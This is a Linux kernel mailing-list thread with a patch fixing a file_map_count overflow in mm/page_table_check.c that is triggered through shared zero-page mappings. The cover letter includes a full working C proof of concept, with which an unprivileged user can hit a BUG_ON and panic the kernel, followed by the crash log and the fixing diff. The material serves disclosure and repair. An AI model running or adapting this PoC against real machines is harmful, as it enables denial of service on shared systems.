* [PATCH v3 0/1] mm/page_table_check: skip special zero mappings
@ 2026-07-22 16:48 Ren Wei
2026-07-22 16:48 ` [PATCH v3 1/1] " Ren Wei
0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-07-22 16:48 UTC (permalink / raw)
To: linux-mm; +Cc: pasha.tatashin, akpm, vega, zhilinz, enjou1224z
From: Zhiling Zou <zhilinz@nebusec.ai>
Hi Linux kernel maintainers,
We found and validated an issue in mm/page_table_check.c. The bug is
reachable by a non-root user directly, without user or network
namespaces.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
page_table_check_set() and page_table_check_clear() account mappings
based on whether the backing page is PageAnon(). The shared zero page
and huge zero mappings are special mappings, not ordinary file-backed
pages, but page_table_check can still account them in file_map_count.
For the reported crash, private anonymous read faults install many
read-only PTEs that point at the shared zero page. Those entries are
installed with pte_mkspecial(), yet __page_table_check_ptes_set() still
reaches page_table_check_set() and increments file_map_count for the
zero-page PFN until it wraps and hits the existing BUG_ON().
The same accounting bug also exists in the huge zero PMD path.
set_huge_zero_folio() installs a user-visible huge zero PMD, and
__page_table_check_pmds_set() can send that mapping to the same
page_table_check_set() consumer. Some architectures do not implement
pmd_special(), so the PMD side needs an explicit huge-zero check rather
than another special-bit test.
This fix skips shared zero-page PTEs via pte_special() and skips huge
zero PMDs by identifying the mapped folio directly. That keeps the
generic counters and page_ext layout unchanged, while covering the PMD
path on architectures where pmd_special() is a no-op.
Reproducer:
gcc -O2 -Wall -Wextra -o poc poc.c
./poc
The current PoC disables THP with MADV_NOHUGEPAGE, so it exercises the
shared zero-page PTE path directly. The PMD path has the same root
cause and is fixed by the same change.
We run the PoC in a 16 vCPU, 24 GB RAM x86 QEMU environment with
panic_on_warn=0.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef MADV_POPULATE_READ
#define MADV_POPULATE_READ 22
#endif
static unsigned long long env_ull(const char *name, unsigned long long def)
{
const char *s = getenv(name);
char *end = NULL;
unsigned long long v;
if (!s || !*s)
return def;
errno = 0;
v = strtoull(s, &end, 0);
if (errno || !end || *end) {
fprintf(stderr, "invalid %s=%s\n", name, s);
exit(2);
}
return v;
}
static void worker(int sync_fd, unsigned long long gigabytes,
unsigned long long base_addr_tb)
{
const unsigned long long len = gigabytes << 30;
const uintptr_t hint = (uintptr_t)(base_addr_tb << 40);
void *addr;
char c;
if (read(sync_fd, &c, 1) < 0) {
perror("read(sync_fd)");
_exit(1);
}
close(sync_fd);
addr = mmap((void *)hint, len, PROT_READ,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE |
MAP_FIXED_NOREPLACE,
-1, 0);
if (addr == MAP_FAILED && errno == EEXIST) {
addr = mmap(NULL, len, PROT_READ,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1,
0);
}
if (addr == MAP_FAILED) {
fprintf(stderr, "[%d] mmap(%llu GB) failed: %s\n", getpid(),
gigabytes, strerror(errno));
_exit(1);
}
if (madvise(addr, len, MADV_NOHUGEPAGE) != 0) {
fprintf(stderr, "[%d] MADV_NOHUGEPAGE failed: %s\n", getpid(),
strerror(errno));
_exit(1);
}
fprintf(stderr, "[%d] populating %llu GB at %p\n", getpid(), gigabytes,
addr);
fflush(stderr);
if (madvise(addr, len, MADV_POPULATE_READ) != 0) {
fprintf(stderr, "[%d] MADV_POPULATE_READ failed: %s\n", getpid(),
strerror(errno));
_exit(1);
}
fprintf(stderr, "[%d] populated; holding mapping\n", getpid());
fflush(stderr);
for (;;)
pause();
}
int main(void)
{
const unsigned long long workers = env_ull("POC_WORKERS", 16);
const unsigned long long gigabytes = env_ull("POC_GB_PER_WORKER", 513);
const unsigned long long base_addr_tb = env_ull("POC_BASE_ADDR_TB", 4);
pid_t *pids;
int sync_pipe[2];
unsigned long long i;
if (workers == 0 || gigabytes == 0) {
fprintf(stderr, "POC_WORKERS and POC_GB_PER_WORKER must be > 0\n");
return 2;
}
printf("workers=%llu gb_per_worker=%llu total_gb=%llu base_addr_tb=%llu\n",
workers, gigabytes, workers * gigabytes, base_addr_tb);
fflush(stdout);
pids = calloc(workers, sizeof(*pids));
if (!pids) {
perror("calloc");
return 1;
}
if (pipe(sync_pipe) != 0) {
perror("pipe");
return 1;
}
for (i = 0; i < workers; i++) {
pid_t pid = fork();
if (pid < 0) {
perror("fork");
return 1;
}
if (pid == 0) {
close(sync_pipe[1]);
worker(sync_pipe[0], gigabytes, base_addr_tb);
}
pids[i] = pid;
}
close(sync_pipe[0]);
close(sync_pipe[1]);
for (;;) {
int status;
pid_t pid = wait(&status);
if (pid < 0) {
if (errno == EINTR)
continue;
perror("wait");
return 1;
}
if (WIFEXITED(status))
fprintf(stderr, "child %d exited with status %d\n", pid,
WEXITSTATUS(status));
else if (WIFSIGNALED(status))
fprintf(stderr, "child %d killed by signal %d\n", pid,
WTERMSIG(status));
fflush(stderr);
}
}
------END poc.c--------
----BEGIN crash log----
[ 1513.218556][T10794] kernel BUG at mm/page_table_check.c:121!
[ 1513.219101][T10785] kernel BUG at mm/page_table_check.c:121!
[ 1513.219102][T10787] kernel BUG at mm/page_table_check.c:121!
[ 1513.219103][T10795] kernel BUG at mm/page_table_check.c:121!
[ 1513.219106][T10791] kernel BUG at mm/page_table_check.c:121!
[ 1513.219146][T10785] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[ 1513.219173][T10785] CPU: 4 UID: 1028 PID: 10785 Comm: poc Tainted: G W 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
[ 1513.219181][T10785] Tainted: [W]=WARN
[ 1513.219184][T10785] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1513.219191][T10785] RIP: page_table_check_set+0x47a/0x660
[ 1513.219223][T10785] Code: c0 0f 85 83 00 00 00 49 8d 7d 04 be 04 00 00 00 e8 bb bc f5 ff b8 01 00 00 00 f0 41 0f c1 45 04 83 c0 01 0f 89 bf fe ff ff 90 <0f> 0b 48 89 ef e8 3c ee ff ff 48 89 c3 e9 cd fe ff ff e8 af b2 74
All code
========
0: c0 0f 85 rorb $0x85,(%rdi)
3: 83 00 00 addl $0x0,(%rax)
6: 00 49 8d add %cl,-0x73(%rcx)
9: 7d 04 jge 0xf
b: be 04 00 00 00 mov $0x4,%esi
10: e8 bb bc f5 ff call 0xfffffffffff5bcd0
15: b8 01 00 00 00 mov $0x1,%eax
1a: f0 41 0f c1 45 04 lock xadd %eax,0x4(%r13)
20: 83 c0 01 add $0x1,%eax
23: 0f 89 bf fe ff ff jns 0xfffffffffffffee8
29: 90 nop
2a:* 0f 0b ud2 <-- trapping instruction
2c: 48 89 ef mov %rbp,%rdi
2f: e8 3c ee ff ff call 0xffffffffffffee70
34: 48 89 c3 mov %rax,%rbx
37: e9 cd fe ff ff jmp 0xffffffffffffff09
3c: e8 .byte 0xe8
3d: af scas %es:(%rdi),%eax
3e: b2 74 mov $0x74,%dl
Code starting with the faulting instruction
===========================================
0: 0f 0b ud2
2: 48 89 ef mov %rbp,%rdi
5: e8 3c ee ff ff call 0xffffffffffffee46
a: 48 89 c3 mov %rax,%rbx
d: e9 cd fe ff ff jmp 0xfffffffffffffedf
12: e8 .byte 0xe8
13: af scas %es:(%rdi),%eax
14: b2 74 mov $0x74,%dl
[ 1513.219227][T10785] RSP: 0018:ffa00000174df708 EFLAGS: 00010282
[ 1513.219233][T10785] RAX: 0000000080000004 RBX: ff11000100cf9e70 RCX: ffffffff82272c45
[ 1513.219236][T10785] RDX: ffe21c002019f3d8 RSI: 0000000000000004 RDI: ff11000100cf9ebc
[ 1513.219239][T10785] RBP: 00000000000131fc R08: 0000000000000001 R09: ffe21c002019f3d7
[ 1513.219242][T10785] R10: ff11000100cf9ebf R11: 0000000000000007 R12: 0000000000000000
[ 1513.219245][T10785] R13: ff11000100cf9eb8 R14: dffffc0000000000 R15: 00000000000131fd
[ 1513.219249][T10785] FS: 00007f4996890780(0000) GS:ff110005d0a68000(0000) knlGS:0000000000000000
[ 1513.219255][T10785] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1513.219258][T10785] CR2: 00005606316be348 CR3: 00000001a2981000 CR4: 0000000000751ef0
[ 1513.219261][T10785] PKRU: 55555554
[ 1513.219263][T10785] Call Trace:
[ 1513.219266][T10785] <TASK>
[ 1513.219275][T10785] __page_table_check_ptes_set+0x19e/0x310
[ 1513.219281][T10785] ? __pfx___page_table_check_ptes_set+0x10/0x10
[ 1513.219288][T10785] ? __pfx_pfn_pte+0x10/0x10
[ 1513.219302][T10785] do_anonymous_page+0x11f3/0x1df0
[ 1513.219311][T10785] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219322][T10785] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219330][T10785] __handle_mm_fault+0x151f/0x1f90
[ 1513.219337][T10785] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219343][T10785] ? __pfx_do_raw_spin_lock+0x10/0x10
[ 1513.219357][T10785] ? __pfx___handle_mm_fault+0x10/0x10
[ 1513.219365][T10785] ? pte_offset_map_lock+0xf5/0x260
[ 1513.219370][T10785] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219375][T10785] ? find_held_lock+0x2b/0x80
[ 1513.219388][T10785] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219392][T10785] ? follow_page_pte+0x3fb/0xf50
[ 1513.219402][T10785] handle_mm_fault+0x2ad/0x8c0
[ 1513.219413][T10785] __get_user_pages+0x3b5/0x29a0
[ 1513.219428][T10785] ? __pfx___get_user_pages+0x10/0x10
[ 1513.219434][T10785] ? rcu_is_watching+0x12/0xc0
[ 1513.219444][T10785] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219487][T10785] faultin_page_range+0x276/0x6c0
[ 1513.219493][T10785] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219501][T10785] madvise_do_behavior+0x2ce/0x4a0
[ 1513.219513][T10785] ? __pfx_madvise_do_behavior+0x10/0x10
[ 1513.219520][T10785] ? down_read+0x142/0x460
[ 1513.219548][T10785] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219552][T10785] ? rw_verify_area+0x71/0x560
[ 1513.219563][T10785] do_madvise+0x12e/0x1b0
[ 1513.219569][T10785] ? __pfx_do_madvise+0x10/0x10
[ 1513.219574][T10785] ? __pfx_vfs_write+0x10/0x10
[ 1513.219595][T10785] ? __pfx_ksys_write+0x10/0x10
[ 1513.219605][T10785] __x64_sys_madvise+0xa9/0x110
[ 1513.219609][T10785] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219614][T10785] ? lockdep_hardirqs_on+0x7b/0x110
[ 1513.219620][T10785] do_syscall_64+0x116/0xf80
[ 1513.219628][T10785] ? irqentry_exit+0x117/0x830
[ 1513.219636][T10785] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 1513.219640][T10785] RIP: 0033:0x7f499699fbf7
[ 1513.219659][T10785] Code: ff e8 2d 7d ff ff 48 8b 54 24 28 64 48 2b 14 25 28 00 00 00 75 05 48 83 c4 38 c3 e8 f3 ff 00 00 0f 1f 00 b8 1c 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e9 81 0d 00 f7 d8 64 89 01 48
All code
========
0: ff ljmp (bad)
1: e8 2d 7d ff ff call 0xffffffffffff7d33
6: 48 8b 54 24 28 mov 0x28(%rsp),%rdx
b: 64 48 2b 14 25 28 00 sub %fs:0x28,%rdx
12: 00 00
14: 75 05 jne 0x1b
16: 48 83 c4 38 add $0x38,%rsp
1a: c3 ret
1b: e8 f3 ff 00 00 call 0x10013
20: 0f 1f 00 nopl (%rax)
23: b8 1c 00 00 00 mov $0x1c,%eax
28: 0f 05 syscall
2a:* 48 3d 01 f0 ff ff cmp $0xfffffffffffff001,%rax <-- trapping instruction
30: 73 01 jae 0x33
32: c3 ret
33: 48 8b 0d e9 81 0d 00 mov 0xd81e9(%rip),%rcx # 0xd8223
3a: f7 d8 neg %eax
3c: 64 89 01 mov %eax,%fs:(%rcx)
3f: 48 rex.W
Code starting with the faulting instruction
===========================================
0: 48 3d 01 f0 ff ff cmp $0xfffffffffffff001,%rax
6: 73 01 jae 0x9
8: c3 ret
9: 48 8b 0d e9 81 0d 00 mov 0xd81e9(%rip),%rcx # 0xd81f9
10: f7 d8 neg %eax
12: 64 89 01 mov %eax,%fs:(%rcx)
15: 48 rex.W
[ 1513.219663][T10785] RSP: 002b:00007ffc39138e78 EFLAGS: 00000202 ORIG_RAX: 000000000000001c
[ 1513.219668][T10785] RAX: ffffffffffffffda RBX: 0000040000000000 RCX: 00007f499699fbf7
[ 1513.219671][T10785] RDX: 0000000000000016 RSI: 0000008040000000 RDI: 0000040000000000
[ 1513.219674][T10785] RBP: 0000008040000000 R08: 0000000000000000 R09: 0000000000000000
[ 1513.219677][T10785] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000201
[ 1513.219679][T10785] R13: 0000040000000000 R14: 0000000000000002 R15: 00005575774bbd18
[ 1513.219706][T10785] </TASK>
[ 1513.219708][T10785] Modules linked in:
[ 1513.219718][T10785] ---[ end trace 0000000000000000 ]---
[ 1513.219719][T10795] Oops: invalid opcode: 0000 [#2] SMP KASAN NOPTI
[ 1513.219722][T10785] RIP: page_table_check_set+0x47a/0x660
[ 1513.219728][T10785] Code: c0 0f 85 83 00 00 00 49 8d 7d 04 be 04 00 00 00 e8 bb bc f5 ff b8 01 00 00 00 f0 41 0f c1 45 04 83 c0 01 0f 89 bf fe ff ff 90 <0f> 0b 48 89 ef e8 3c ee ff ff 48 89 c3 e9 cd fe ff ff e8 af b2 74
All code
========
0: c0 0f 85 rorb $0x85,(%rdi)
3: 83 00 00 addl $0x0,(%rax)
6: 00 49 8d add %cl,-0x73(%rcx)
9: 7d 04 jge 0xf
b: be 04 00 00 00 mov $0x4,%esi
10: e8 bb bc f5 ff call 0xfffffffffff5bcd0
15: b8 01 00 00 00 mov $0x1,%eax
1a: f0 41 0f c1 45 04 lock xadd %eax,0x4(%r13)
20: 83 c0 01 add $0x1,%eax
23: 0f 89 bf fe ff ff jns 0xfffffffffffffee8
29: 90 nop
2a:* 0f 0b ud2 <-- trapping instruction
2c: 48 89 ef mov %rbp,%rdi
2f: e8 3c ee ff ff call 0xffffffffffffee70
34: 48 89 c3 mov %rax,%rbx
37: e9 cd fe ff ff jmp 0xffffffffffffff09
3c: e8 .byte 0xe8
3d: af scas %es:(%rdi),%eax
3e: b2 74 mov $0x74,%dl
Code starting with the faulting instruction
===========================================
0: 0f 0b ud2
2: 48 89 ef mov %rbp,%rdi
5: e8 3c ee ff ff call 0xffffffffffffee46
a: 48 89 c3 mov %rax,%rbx
d: e9 cd fe ff ff jmp 0xfffffffffffffedf
12: e8 .byte 0xe8
13: af scas %es:(%rdi),%eax
14: b2 74 mov $0x74,%dl
[ 1513.219732][T10785] RSP: 0018:ffa00000174df708 EFLAGS: 00010282
[ 1513.219730][T10795] CPU: 7 UID: 1028 PID: 10795 Comm: poc Tainted: G D W 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
[ 1513.219736][T10785]
[ 1513.219740][T10795] Tainted: [D]=DIE, [W]=WARN
[ 1513.219739][T10785] RAX: 0000000080000004 RBX: ff11000100cf9e70 RCX: ffffffff82272c45
[ 1513.219743][T10795] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1513.219744][T10785] RDX: ffe21c002019f3d8 RSI: 0000000000000004 RDI: ff11000100cf9ebc
[ 1513.219748][T10785] RBP: 00000000000131fc R08: 0000000000000001 R09: ffe21c002019f3d7
[ 1513.219752][T10785] R10: ff11000100cf9ebf R11: 0000000000000007 R12: 0000000000000000
[ 1513.219748][T10795] RIP: page_table_check_set+0x47a/0x660
[ 1513.219755][T10785] R13: ff11000100cf9eb8 R14: dffffc0000000000 R15: 00000000000131fd
[ 1513.219760][T10795] Code: c0 0f 85 83 00 00 00 49 8d 7d 04 be 04 00 00 00 e8 bb bc f5 ff b8 01 00 00 00 f0 41 0f c1 45 04 83 c0 01 0f 89 bf fe ff ff 90 <0f> 0b 48 89 ef e8 3c ee ff ff 48 89 c3 e9 cd fe ff ff e8 af b2 74
All code
========
0: c0 0f 85 rorb $0x85,(%rdi)
3: 83 00 00 addl $0x0,(%rax)
6: 00 49 8d add %cl,-0x73(%rcx)
9: 7d 04 jge 0xf
b: be 04 00 00 00 mov $0x4,%esi
10: e8 bb bc f5 ff call 0xfffffffffff5bcd0
15: b8 01 00 00 00 mov $0x1,%eax
1a: f0 41 0f c1 45 04 lock xadd %eax,0x4(%r13)
20: 83 c0 01 add $0x1,%eax
23: 0f 89 bf fe ff ff jns 0xfffffffffffffee8
29: 90 nop
2a:* 0f 0b ud2 <-- trapping instruction
2c: 48 89 ef mov %rbp,%rdi
2f: e8 3c ee ff ff call 0xffffffffffffee70
34: 48 89 c3 mov %rax,%rbx
37: e9 cd fe ff ff jmp 0xffffffffffffff09
3c: e8 .byte 0xe8
3d: af scas %es:(%rdi),%eax
3e: b2 74 mov $0x74,%dl
Code starting with the faulting instruction
===========================================
0: 0f 0b ud2
2: 48 89 ef mov %rbp,%rdi
5: e8 3c ee ff ff call 0xffffffffffffee46
a: 48 89 c3 mov %rax,%rbx
d: e9 cd fe ff ff jmp 0xfffffffffffffedf
12: e8 .byte 0xe8
13: af scas %es:(%rdi),%eax
14: b2 74 mov $0x74,%dl
[ 1513.219761][T10785] FS: 00007f4996890780(0000) GS:ff110005d0a68000(0000) knlGS:0000000000000000
[ 1513.219764][T10795] RSP: 0018:ffa00000172ef708 EFLAGS: 00010286
[ 1513.219767][T10785] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1513.219768][T10795]
[ 1513.219771][T10795] RAX: 0000000080000003 RBX: ff11000100cf9e70 RCX: ffffffff82272c45
[ 1513.219772][T10785] CR2: 00005606316be348 CR3: 00000001a2981000 CR4: 0000000000751ef0
[ 1513.219775][T10795] RDX: ffe21c002019f3d8 RSI: 0000000000000004 RDI: ff11000100cf9ebc
[ 1513.219776][T10785] PKRU: 55555554
[ 1513.219779][T10795] RBP: 00000000000131fc R08: 0000000000000001 R09: ffe21c002019f3d7
[ 1513.219781][T10785] Kernel panic - not syncing: Fatal exception
[ 1514.282927][T10785] Shutting down cpus with NMI
[ 1514.283092][T10785] Kernel Offset: disabled
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
mm/page_table_check: skip special zero mappings
mm/page_table_check.c | 20 ++++++++++++++++----
1 file changed, 16 insertions(+), 4 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH v3 1/1] mm/page_table_check: skip special zero mappings
2026-07-22 16:48 [PATCH v3 0/1] mm/page_table_check: skip special zero mappings Ren Wei
@ 2026-07-22 16:48 ` Ren Wei
0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-07-22 16:48 UTC (permalink / raw)
To: linux-mm; +Cc: pasha.tatashin, akpm, vega, zhilinz, enjou1224z
From: Zhiling Zou <zhilinz@nebusec.ai>
page_table_check_set() and page_table_check_clear() account mappings
based on PageAnon(). Shared zero-page PTEs and huge zero PMDs are
special mappings, but page_table_check can still account them as
file-backed pages.
An unprivileged process can populate enough zero mappings to overflow
file_map_count and hit the existing BUG_ON(). The PTE path can do this
with the shared zero page, and the PMD path can do the same with huge
zero mappings.
Skip special zero mappings in the user page-table accounting paths.
Keep the PTE-side pte_special() check, and identify huge zero PMDs from
the mapped folio instead of pmd_special(). That covers architectures
where pmd_special() is a no-op without adding huge_zero_pfn checks to
the generic counter helpers.
Fixes: df4e817b7108 ("mm: page table check")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
changes in v3:
- Skip shared zero-page PTEs via pte_special().
- Detect huge zero PMDs from the mapped folio instead of pmd_special().
- Cover architectures where pmd_special() is a no-op.
- v2 Link: https://lore.kernel.org/all/1f8848512d2e3ded944f8d595c29faee8fdaeab0.1784645969.git.roxy520tt@gmail.com/
changes in v2:
- Handle zero and huge zero pages as special cases instead of widening
page_table_check counters.
- Keep page_ext storage and ordinary page map-count checks unchanged.
- v1 Link: https://lore.kernel.org/all/b4414b588418c52a99d959d35a40e064ae8b6e72.1784337674.git.roxy520tt@gmail.com/
mm/page_table_check.c | 20 ++++++++++++++++----
1 file changed, 16 insertions(+), 4 deletions(-)
diff --git a/mm/page_table_check.c b/mm/page_table_check.c
index 53a8997ec043..2403f5a11410 100644
--- a/mm/page_table_check.c
+++ b/mm/page_table_check.c
@@ -151,18 +151,29 @@ void __page_table_check_pte_clear(struct mm_struct *mm, unsigned long addr,
if (&init_mm == mm)
return;
- if (pte_user_accessible_page(mm, addr, pte))
+ if (pte_user_accessible_page(mm, addr, pte) && !pte_special(pte))
page_table_check_clear(pte_pfn(pte), PAGE_SIZE >> PAGE_SHIFT);
}
EXPORT_SYMBOL(__page_table_check_pte_clear);
+static inline bool page_table_check_huge_zero_pmd(pmd_t pmd)
+{
+ unsigned long pfn = pmd_pfn(pmd);
+
+ if (!pfn_valid(pfn))
+ return false;
+
+ return is_huge_zero_folio(page_folio(pfn_to_page(pfn)));
+}
+
void __page_table_check_pmd_clear(struct mm_struct *mm, unsigned long addr,
pmd_t pmd)
{
if (&init_mm == mm)
return;
- if (pmd_user_accessible_page(mm, addr, pmd))
+ if (pmd_user_accessible_page(mm, addr, pmd) &&
+ !page_table_check_huge_zero_pmd(pmd))
page_table_check_clear(pmd_pfn(pmd), PMD_SIZE >> PAGE_SHIFT);
}
EXPORT_SYMBOL(__page_table_check_pmd_clear);
@@ -208,7 +219,7 @@ void __page_table_check_ptes_set(struct mm_struct *mm, unsigned long addr,
for (i = 0; i < nr; i++)
__page_table_check_pte_clear(mm, addr + PAGE_SIZE * i, ptep_get(ptep + i));
- if (pte_user_accessible_page(mm, addr, pte))
+ if (pte_user_accessible_page(mm, addr, pte) && !pte_special(pte))
page_table_check_set(pte_pfn(pte), nr, pte_write(pte));
}
EXPORT_SYMBOL(__page_table_check_ptes_set);
@@ -238,7 +249,8 @@ void __page_table_check_pmds_set(struct mm_struct *mm, unsigned long addr,
for (i = 0; i < nr; i++)
__page_table_check_pmd_clear(mm, addr + PMD_SIZE * i, *(pmdp + i));
- if (pmd_user_accessible_page(mm, addr, pmd))
+ if (pmd_user_accessible_page(mm, addr, pmd) &&
+ !page_table_check_huge_zero_pmd(pmd))
page_table_check_set(pmd_pfn(pmd), stride * nr, pmd_write(pmd));
}
EXPORT_SYMBOL(__page_table_check_pmds_set);
--
2.43.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-07-22 16:48 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-22 16:48 [PATCH v3 0/1] mm/page_table_check: skip special zero mappings Ren Wei
2026-07-22 16:48 ` [PATCH v3 1/1] " Ren Wei
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox